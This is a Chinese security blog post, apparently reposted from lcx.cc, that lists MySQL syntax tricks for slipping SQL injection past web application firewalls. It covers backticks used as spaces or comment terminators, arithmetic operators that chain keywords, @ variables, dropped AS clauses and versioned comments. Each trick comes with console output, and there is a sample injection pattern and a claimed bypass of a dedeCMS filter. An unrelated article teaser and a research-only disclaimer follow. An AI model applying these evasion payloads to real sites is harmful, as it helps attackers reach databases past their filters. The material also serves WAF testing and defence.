研究过国内外的WAF。分享一些 奇淫绝技。
一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql:
tips1: 神奇的 ` (格式输出表的那个控制符)
过空格 过一些正则。
mysql> select`version`() -> ; +----------------------+ | `version`() | +----------------------+ | 5.1.50-community-log | +----------------------+ 1 row in set (0.00 sec)
一个更好玩的技巧,这个` 控制符可以当注释符用(限定条件)。
mysql> select id from qs_admins where id=1;`dfff and comment it; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec) `>
usage : where id =’0′`’xxxxcomment on.
tips2:神奇的“- + .”:
mysql> select id from qs_admins; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec) mysql> select+id-1+1.from qs_admins; +----------+ | +id-1+1. | +----------+ | 1 | +----------+ 1 row in set (0.00 sec) mysql> select-id-1+3.from qs_admins; +----------+ | -id-1+3. | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from … 就是这样连起来过)
tips3: @
mysql> select@^1.from qs_admins; +------+ | @^1. | +------+ | NULL | +------+
这个是bypass 曾经dedeCMS filter。
或者下面这样也是可以的:
tips4:mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins; +------+ | test | +------+ | -1 | +------+ 1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)
mysql> /*!40000select*/ id from qs_admins; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
先分享这么多,希望对各位有用。
感谢livers投递
文章来源于lcx.cc:WAF绕过的奇技淫巧
昨天的文章更正一下:百度已经开始在搜索结果中区分广告和非广告内容,也是放在右边栏。昨天我验证时,因为浏览器默认把所有广告都屏蔽了,所以没有看出区别。 上回说到互联网的另一门生意:流量。 有人说,互联网的本质就是流量的生意。这种说法有一定的正确性。拥有了流量,就…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论